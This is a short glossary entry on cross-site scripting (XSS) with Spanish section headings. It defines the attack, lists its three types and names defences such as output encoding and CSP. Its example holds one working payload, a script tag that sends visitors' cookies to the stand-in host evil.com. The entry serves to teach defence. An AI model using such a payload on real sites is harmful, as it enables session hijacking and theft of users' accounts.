XSS (Cross-Site Scripting)
A security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session cookies, credentials, or performing actions on behalf of victims.
Definicion
XSS attacks occur when an application includes untrusted data in a web page without proper validation or escaping. Three main types exist: Stored XSS (malicious script permanently stored on target server), Reflected XSS (script reflected off web server in error messages or search results), and DOM-based XSS (vulnerability exists in client-side code). XSS is ranked #7 in OWASP Top 10.
Por que es importante
XSS attacks can steal user sessions, deface websites, redirect users to malicious sites, and spread malware. Major companies like Twitter, Facebook, and Google have all had XSS vulnerabilities discovered. Prevention requires output encoding, Content Security Policy (CSP), and automated scanning in code reviews.
Ejemplo
A comment system displays user input without escaping. An attacker posts: <script>document.location="http://evil.com/?c="+document.cookie</script>. When other users view the comment, their cookies are stolen.